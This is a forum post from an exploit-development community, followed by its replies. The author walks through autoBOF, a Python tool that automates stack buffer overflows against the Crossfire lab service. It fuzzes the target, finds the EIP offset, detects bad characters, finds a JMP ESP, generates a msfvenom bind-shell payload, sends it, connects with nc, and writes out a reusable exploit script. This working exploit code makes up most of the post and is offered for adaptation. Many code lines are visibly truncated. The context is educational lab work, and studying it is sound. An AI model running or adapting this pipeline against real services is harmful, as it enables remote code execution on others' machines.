autoBOF: a Journey into Automation, Exploit Development, and Buffer Overflows

Exploit Development python, linux, hacking

Rain 0x00sec VIP 4 May 3

TL;DR I wrote a program to automate buffer overflows. I talk about what buffer overflows are, why I made this program, and show all the code I used.

In 11 days from now, it will have been a year since I first started on my journey of becoming an Offensive Security Certified Professional. In 15 days from now, it will have been a year since the lowest point in my infosec journey. I was feeling very discouraged and out of my depth. During the 4 days in between, I had been breezing through the material - covering multiple sections of coursework in a day. But when I got to the buffer overflow section of the learning material, and it just did not click with me. I failed over and over again for 3 straight days to grasp the material. I began to wonder if I had tried to do too much, too fast and wasn't sure if I was in over my head or not. I stayed up late that third day, trying to get back on track, and I finally exploited the practice server Offsec provided me. I was ecstatic! And for the most part, I moved on to the next part of my coursework, filing away that new knowledge for the time being. But those three days planted a small seed of pure vengeance in my heart. "Screw buffer overflows!", the seed said. "You should make it so no one ever has to make these again!".

As it would turn out, my university wanted me to make something before they'd let me graduate. As long as my advisor deemed it sufficiently complex of a task, I could make whatever my heart desired. As previously stated, my heart desired vengeance (being very fertile soil for such things). Fortunately my advisor thought the idea was interesting and gave me the go-ahead. My first step was to create a design document, outlining the intended functionality of my little project and what it'd look like at each stage. I dreamed very big. The original intention for autoBOF was cross-platform with support for integrating multiple different debuggers in the process. In fact, it was also intended to be a tool used remotely - a thin client that would connect to a remote laboratory environment. It would be a masterpiece, a sword crafted to slay the tedious monster of my past.

None of that happened of course, and the tool ended up being about 500 lines of poorly optimized python that can only run on a local (Linux) laboratory environment. It's wonky, takes about a minute to run in a best-case scenario, and doesn't perform anywhere near as well as I originally expected it to. But it works. At least, it works against the crossfire application included in my PWK Kali VM. I do not have the illusion that my code is of any particular quality. In fact, if my professors actually looked at the code I'm about to show you, they may take away the CS degree I expect to receive next month.

Despite having said all of that, this took a lot of effort to make on my part, mostly during the hours of 10PM and 3AM before my weekly progress reports, as well as 0 to 3 random afternoons of any given week. There were also a couple occasions where I over promised what I would accomplish during a given period of time and had to frantically work to make up the difference. It seemed that every time I tried to take something I knew how to do manually and have my program do it automatically, I ran into some difficult (to me) problem to solve that I never anticipated beforehand. Because the tasks required for this program had an extremely minimal overlap with my formal education in programming, I had to break new ground whenever I wanted to do anything. Did I mention this is the first python program I've written? Anyway, let's briefly discuss how these kinds of buffer overflows work and then get to the code.

The kind of buffer overflow autoBOF intends to exploit is a very basic kind of overflow. Say there is a server somewhere, that accepts data and stores it in a variable somewhere. Kind of a stretch, but bear with me. And then let's assume that this server stores this data in variables of a fixed length. What happens if the server lets you send it more data than it can store? What does it do with the extra data? In our ideal case, it just puts it in adjacent memory space, overwriting some other poor sap's data. And if we can write to system memory… can't we tell the server to do things it's not supposed to? That's the plan! Our general approach is:

1. Fuzz the target server. Does it crash when we send lots of data?
2. If the server crashes, we may have done something! Let's find out exactly how much data it takes to crash the server.
3. We discover that the server crashes when we send X bytes, and the register that directs program execution is overwritten at Y bytes. So we can execute X - Y bytes of code. Hurray!
4. Sometimes, certain values aren't processed by the server the way we want them to be processed. Let's send every relevant value to the server and see if they come out the way we want them to. If not, those values are 'bad' and of an undiscerning character. So we call them 'bad characters'. Or some reason like that.

5. Next, we need to find a JMP instruction to hijack. We need to tell the program to jump to the payload we make and execute it.
6. Lastly, if there's enough space between X and Y to fit our whole payload, we generate one and send it in! If there isn't enough space, we can put the payload inside our buffer (before Y bytes of data), and hope that we have enough space in the payload space to say 'Jump to the payload at the start of the buffer'.

Note: Please forgive me for any improper indentations. I had to change leading spaces to ` ` and may have missed some. You can find the original code at https://github.com/DiscipleOfDust/autoBOF 83

```
#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket, sys
import os
import time #make fuzzing more robust (sticky note)
if(sys.argv[1] == "-help" or sys.argv[1] == "-h"): #consider two modes - o
 print "Usage: python autoBOF.py -start [initial data sequence including s
 print "-------------------------------------------------------------------
 print "Config file format example:\nstart: \x11(setup sound \nend:\x90\x0
 print "-------------------------------------------------------------------
 print "IMPORTANT: Requires partner script, restart.py to be running in ta
 sys.exit()
#init vals
curVal = 0
argStart = 'autoBOF' #AutoBOF is uninit value for input checking
argEnd = 'autoBOF'
argLengthMin = 'autoBOF'
argLengthMax = 'autoBOF'
argIncrement = 'autoBOF'
argTargetIP = 'autoBOF'
argTargetPort = 'autoBOF'
argLocalIP = 'autoBOF'
argShellport = 'autoBOF'
```

Alright, so here we have how the user interacts with the program. They can either make a configuration file (my recommendation) which contains all the necessary specifications for the program to execute, or they can use flags if they are so inclined. I found there to be so many flags that I never actually tested whether or not that functionality worked. I ran into some encoding issues that made me try to configuration file as a solution, and when I solved that problem (which turned out to be completely unrelated to the input method), I slapped the same solution onto the flag parsing, but since I never tested that it may be completely broken.

You may also notice a lack of shell customization (Never got around to implementing shell customization. It might have taken half an hour, it might have taken a day). Hopefully bind shells are okay. I also hope that your service doesn't require one of the variables to be 'autoBOF' for some reason, because then my program wouldn't work at all. Of particular note here are my half assed type checking and some random comments I don't remember making and could have sworn I removed from the code for being irrelevant or nonsensical.

```
#Start program execution
if(not argSilent):
 os.system("figlet autoBOF") #Optional but very important dependency
host = argTargetIP
port = int(argTargetPort)
buffer = ('\x41')
start = argStart
end = argEnd
isSuccess = False
overflow = buffer
tryUntil = int(argLengthMax)
startCount = int(argLengthMin)
increment = int(argIncrement)
if(not argSilent):
 print "---- Attempting to Crash Service ----"
while(startCount < tryUntil and isSuccess == False):
 try:
  s = socket.socket()
```

```
  s.connect((host, port))
  data = s.recv(1024)
  startCount = startCount + increment
  if(not argSilent):
   print "fuzzing at", startCount, "bytes", "out of", tryUntil
  overflow = start + (buffer * startCount) + end
```

I hope you like the code you see above because I copy and paste it a lot instead of reusing it in a method like a practical, efficient programmer. Here the program sends a sequence of A's to the service inside a user-specified wrapper. The debugger script I wrote (which will be shown later) dumps the eip register whenever the targeted service crashes. The code will loop until it reaches the user specified limit or until the EIP register is overwritten with A's. If it is, we can continue searching for our buffer overflow! If A is a bad character we'll be in a bit of trouble, though. Anyway, one of the problems I had with this section of code was trying to figure out the optimal way to fuzz a service. Some of these overflows only happen at extremely specific amounts of data, and a difference of one byte could make or break the exploit. As a result, I decided to leave it entirely up to the user and thus absolve myself of that responsibility. By that I mean to say I'm empowering the users by maximizing the customization potential of my software.

```
if(not argSilent):
 print("--- Generating Unique Buffer ---")
bashCommand = "/usr/share/metasploit-framework/tools/exploit/pattern_creat
strTest = str(startCount)
bashCommand = bashCommand + strTest + " > offsetStr.txt"
os.system(bashCommand)
bufFile = open("offsetStr.txt", "r")
newBuffer = bufFile.read()
newBuffer = newBuffer.strip('\n')
newBuffer = start + newBuffer + end
s = socket.socket()
s.connect((host, port))
s.send(newBuffer)
bufFile = open("/usr/games/crossfire/bin/eip.txt", "r")
eipValue = bufFile.read()
```

```
if(not argSilent):
 print("Unique Buffer Sent")
 print("--- Attempting EIP overwrite ---")
bashCommand = "rm offsetStr.txt"
os.system(bashCommand)
s.close()
time.sleep(.6)
bufFile = open("/usr/games/crossfire/bin/eip.txt", "r")
```

The above code is very straightforward - I call Metasploit's pattern creation and offset tools to add a custom string to the buffer in order to determine exactly where the overwrite takes place. This lets me know how much space I have to work with to place shellcode. I am again aided by my lovely debugger script.

```
 ########## Bad Character Phase ##########
 print '--- Bad Character Detection Phase ---'
#removed 00, 0A, OD, FF as common bad characters
badchars_hex = ["\x00", "\x0a", "\x0d", "\xff"]
badchars_text = ["00","0a","0d","ff"]
allchars_hex = ["\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\
allchars_text = ["01","02","03","04","05","06","07","08","09","0b","0c","0
bufCount = 0
allchars_unsure_hex = []
allchars_unsure_text = []
while(len(allchars_hex) > 4):
 section_hex = allchars_hex[3] + allchars_hex[2] + allchars_hex[1] + allch
 section_text = allchars_text[0] + allchars_text[1] + allchars_text[2] + a
 bufCount = bufCount + 1
 section_text = section_text.replace("\\", "")
 section_text = section_text.replace("x", "")
 section_text = "0x" + section_text
 if(not argSilent):
  print section_text, "Section being searched for in memory"
```

```
 newBuffer = start + "BBBB" + section_hex + ("\x41" * (offset-8)) + "CCCC"

 s = socket.socket()
 s.connect((host, port))
```

This was one of the hardest parts of the program for me to make, as I had no idea whatsoever how to dump and access the relevant memory with gdb. I take a list of every possible ascii character value in hex, and send them in groups of 4 to the service to see if they display properly in memory. If they do, great! If not, one of those 4 characters is a 'bad character' and needs to be avoided when I generate my payload. So I add all 4 characters to an array of possible bad characters (since I don't know which character is the bad one), whenever the expected character sequence fails to appear in memory.

I then do another pass at the service with the allchars_unsure array as my value library, sending each byte in a sequence paired with 3 A's. Since my program operates under the assumption that A's are valid characters, I know exactly what to look for. I found this to be a good compromise to approaching this problem, as one bad character can corrupt all of the output after it. I found groups of 4 bytes to be the most convenient to look for and parse with my debugger script, and that's what I went with. This is probably also where my project falls the farthest from its goal of being an automated buffer overflow generator, since it's possible a bad character could be invalid but display correctly in memory, and only corrupt the rest of the sequence. In this case, my program would fail to detect 1 out of every 4 such bad characters at a minimum.

```
bufFile = open("/usr/games/crossfire/bin/jmpSearch.txt", "r")
jmpData = bufFile.read()
jmpData = '\n'.join(jmpData.split('\n')[1:])

offset1 = jmpData[8:10].decode("hex")
offset2 = jmpData[6:8].decode("hex")
offset3 = jmpData[4:6].decode("hex")
offset4 = jmpData[2:4].decode("hex")
eipString = offset1 + offset2 + offset3 + offset4
badlist = ""
while (len(badchars_text) > 0):
 badlist = badlist + badchars_text[0]
```

```
 badchars_text.pop(0)

badlist = "\\x" + badlist[0:2] + "\\x" + badlist[2:4] + "\\x" + badlist[4:
argPayloadAttempts = int(argPayloadAttempts)
bashCommand = "msfvenom -p linux/x86/shell_bind_tcp LPORT=" + argShellPort
#Payload JMP Offset Detection Phase
eaxLength = len(start)-2
jmpEAXCommand = "(echo \"add eax, "+ str(eaxLength) + "\") | exec /usr/sha
os.system(jmpEAXCommand)
bufFile = open("eaxHelp.txt")
eaxValue = bufFile.read()
```

My debugger script has helpfully created a file that contains a valid JMP ESP for us to hijack. So we use that, as well as the other information we've gathered so far, in order to create a bash command that will generate a payload. Additionally, since the service I was testing this code against only had 11 bytes of post-offset shellcode space, I decided to have the program assume there will never be enough space after the offset value to insert a payload, and to instead put the payload at the beginning of the buffer, and assume that there will be enough space after the offset to include a JMP instruction to redirect execution to that location. I use another one of Metasploit's tools for this, albeit very messily.

```
if(not argSilent):
 print "--- Building Payload ---"
os.system(bashCommand)
bufFile = open("shellcode.txt", "r")
shellcode = bufFile.read()
newBuffer = start + shellcode + ("\x41" * (offset-len(shellcode))) + eipS
if(not argSilent):
 print "----------------------"
 print "Deploying Payload..."
s = socket.socket()
s.connect((host, port))
s.send(newBuffer)
if(not argSilent):
```

```
  print("--- Initiating Bind Shell Connection ---")
 time.sleep(.6)
 output =  os.system("nc -v "+argLocalIP+" "+argShellPort)
 if(output == 0 or output == 2):
  argPayloadAttempts = 0
  payloadSuccess = True
 else:
  print "Connection Failure!"
  argPayloadAttempts = argPayloadAttempts - 1
if(not payloadSuccess):
```

This is the (most) fun part! We try to build a payload, deploy it, and catch a shell. We try this a user specified number of times, using the same copy-pasted socket code as always.

```
###Build PayloadFile#####
os.system("mv shellcode.txt " + argExploitName[0:3] +"Shellcode.txt")
shebang = "#!/usr/bin/python"
load = "import socket, os, time"
output = "output = 256"
outText = "print \"--- Spawning Shell ---\""
host = "host = \"" + str(argTargetIP) + "\""
port = "port = " + str(argTargetPort)
fileStart = "start = \"" + argStart.encode("string_escape") + "\""
fileEnd = "end = \"" + argEnd.encode("string_escape") + "\""
valOverwrite = "eipString = \"" + eipString.encode("string_escape") + "\""
jmpEax = "jmpEax = \"" + oldString + "\xff\xe0\x90\x90\"".encode("string_e
bufOne = "bufFile = open(\"" + argExploitName[0:3] + "Shellcode.txt" + "\"
bufTwo = "shellcode = bufFile.read()"
flow = "flow = \"A\" * " + str(offset-len(shellcode))
code = "buffer = (start + shellcode + flow + eipString + jmpEax + end)"
loopMe = "while(output == 256):"
networking1 = "s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)"
networking2 = "s.connect((host, port))"
```

```
networking3 = "s.send(buffer)"
networking4 = "os.system(\"nc -v " + str(argTargetIP) + " " + str(argShell
ductTape = "time.sleep(.6)"
fullExploit = shebang + "\n" + load + "\n" + output + "\n" + host  + "\n"
```

We now save a very bad replica of this exploit we just made for later use. The buffer stays in a special file of its own because I couldn't figure out how to properly write it to a single a file without encoding issues that cause the exploit to fail. Additionally, even though it should theoretically work on the first try (given we're using the exact same buffer that worked before), it sometimes takes upwards of a minute's worth of attempts to successfully exploit the service. I have no idea why. Maybe address space layout randomization, even though I thought I disabled that in my environment? Who knows! Also we delete a few temporary files we don't need anymore and exit.

```
#!gdb
import sys
import gdb
import os
os.system("echo resetFile > eip.txt")
number_restarts = 100
gdb.execute("set pagination off")
os.system("/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/r
def on_stop(sig):
  global number_restarts
  if isinstance(sig, gdb.SignalEvent):
    if (number_restarts > 0):
      os.system("rm eip.txt")
      gdb.execute("set confirm off")
      gdb.execute("set logging file eip.txt")
      gdb.execute("set logging on")
      gdb.execute("set logging overwrite on")
      gdb.execute("info registers eip")
      gdb.execute("set logging off")
      gdb.execute("set logging file badchars.txt")
```

```
        gdb.execute("set logging on")
        gdb.execute("x/500xw $esp")
        gdb.execute("set logging overwrite off")
```

Lastly, we have my debugger script. On startup, it wipes anything from past exploit attempts and dumps a list of hijackable ESP's for the main program to use. Additionally, whenever the program crashes for any reason whatsoever, it dumps the EIP registry and 500 lines of stack memory for usage by my main program.

That's pretty much it. You're welcome to adapt or use this code for your own purposes, if you think it has any value. I'm reasonably confident I could emulate the restart script with mona and have it work with immunity debugger, and thus be cross platform. In such a case, this tool may be functional (with some work) on the OSCP exam. I'm not sure whether or not it would be allowed though, since then you wouldn't actually have to know what you're doing in order to pass that portion of the test. That being said, given my poor programming ability (and the scarcity of these exploits in the wild), it would also be reasonable to assume there isn't much value to my project outside of it being a wonderful learning experience for me. If anyone has any questions, I will add them to my Q&A, and please feel free to ask whatever comes to mind.

Here's a screenshot of my program in action: https://i.imgur.com/POnukSS.png 116

Q&A

Q: Why did you write this in Python 2.7?

A: I didn't actually know I wasn't using the latest version of python until I had already committed to writing it in 2.7, which was the default version of python on my Linux distro. If Backbox/Kali used 3.0 by default this would have been written in that.

Q: What are those ugly sleep statements for? Why do your scripts communicate by reading and writing to local files?

A: I'm kind of self conscious about this because I'm pretty sure it's a garbage way to solve this problem, but when I was trying to figure out how to have my scripts interact with each other at all this was the first thing I thought of and it's what I did.

12

created	last reply	replies	views	users	likes	links
May 3	Jun 2	18	11.4k	8	23	2

axom_hexor Arnab_AXOM May 4

😍 thanks just joined yesterday asked about automation in Python here there is a tutorial you guys are awesome

1

Jonas May 6

I was once in the same mindset/situation- ended with:
http://web.archive.org/web/20161201075415/http://www.inspectorgadget.dk/wiki/Inspector_Gadget 55

perhaps you can use some ideas from it 🙂

3

Rain 0x00sec VIP May 6

Woah! Great minds must think alike, eh?

1 Reply

1

Nick_Verheijen May 8

Very cool project and write-up. Thanks for sharing!

1

Rain 0x00sec VIP May 8

Thank you Nick, and welcome to 0x00sec!

15 DAYS LATER

Mr_RaG3R May 23

This is pretty great man. I'll definitely be using this in the future.

2

Rain 0x00sec VIP May 23

Awesome, feel free to message me if you have any questions when you do! My documentation might be a little lacking, since this is the first tool I've made.

1

Mr_RaG3R May 23

Thank you 🙂

8 DAYS LATER

carbas Jony 1 Rain Jun 1

Thank you very much for your work friend ! Can I ask you to make an archive file with all files of your project and post it on one of fails hosting(just please not on github) ? I'm just starting and I find it difficult to understand what file to call to turn. Your project is very interesting !!! Thank You !

carbas Jony Jun 1

Please explain how to run autoBOF ? I can not understand what files need to be made from this code and what additional modules need to get. 😭

Rain 0x00sec VIP Jun 1

Hey carbas!

All of my code is in this post as well as the github. If you do not want to use the github for some reason, you may pull the code from here. All of the code segments are in chronological order, and compose 2

files. The first of which I call ‘autoBOF.py’ which consists of every code segment except the last one. The last code segment I call ‘restart.py’. The usage instructions are included in the help method, which you can call by running ‘python autoBOF.py -h’. I have only tested this on a 32 bit version of Kali Linux, but theoretically it should work fine on any Linux distribution, so long as you have the following dependencies installed. You will need gdb (GNU Debugger), as well as the full metasploit framework installed. If you have both of those, it should run fine. I recommend testing it against the Crossfire application hosted by Offensive Security. Oh, and like I mention it is Python 2.7 and not 3.0.

Best of Luck,

Rain

1

---

carbas Jony — Jun 1

Big thank You friend ! Now I understand. I will try in Kali and Python 2.7 too.

Big thank You !!!

1

Hiddenx — Jun 1

This was a gem to read. Thank you. I’m currently in the same boat. Lets just say i’m running through a similar phase where i’m up and going through materials understanding how i can make things work and how they work. 🙂

Rain 0x00sec VIP Jun 2

Welcome to 0x00Sec, and I'm glad you got something out of my project!

carbas Jony 1 Jun 2

Rain hello !

I was try to run autoBOF bat get this error:

> Blockquote— Attempting to Crash Service ----
> fuzzing at 4369 bytes out of 4400
> Traceback (most recent call last):
> File "autoBOF.py", line 153, in
> bufFile = open("/usr/games/crossfire/bin/eip.txt", "r")
> IOError: [Errno 2] No such file or directory: '/usr/games/crossfire/bin/eip.txt'

> Blockquote

How I can fined good version of crossfire and how to remove this error ?

Thank's for Your help !!!😢😢😢😢😢😢

Rain 0x00sec VIP Jun 2

Hello again Carbas,

Check that you're running restart.py first, with the command included in the help function of autoBOF.py. Additionally, the filepath is non-dynamic, so you'll need to have the crossfire folder in /usr/games/ for it to work, or you can edit the filepath in my program.

AutoBOF instalation. I need help

carbas Jony Jun 2

Rain what version of Kali32 you was use ? 2019.2 or 2019.1 ?

Big thank you !

CLOSED JUN 2

This topic was automatically closed after 30 days. New replies are no longer allowed.

Reply

Suggested Topics

Topic	Replies	Activity
Windows 7 after the Supportend Exploit Development windows	13	4d

Topic	Replies	Activity
Introducing: A Light Theme for 0x00sec! **0x00sec Announcem…** 0x00sec, light, theme, interface, improvements	7	May 23
Poster: Doug Lea’s malloc() cheatsheet **Beginner Guides** linux, reverseengineering	6	Nov '18
HackTheBox for Learning Hacking **CTF** ctf, 0x00sec, pentesting, hackthebox, partnership	50	Mar 9
Scheduled Maintenance of 0x00sec - 7:00am 24th June 2019 **0x00sec Announcem…**	2	Jun 24

Want to read more? Browse other topics in **Exploit Developm…** **or view latest topics.**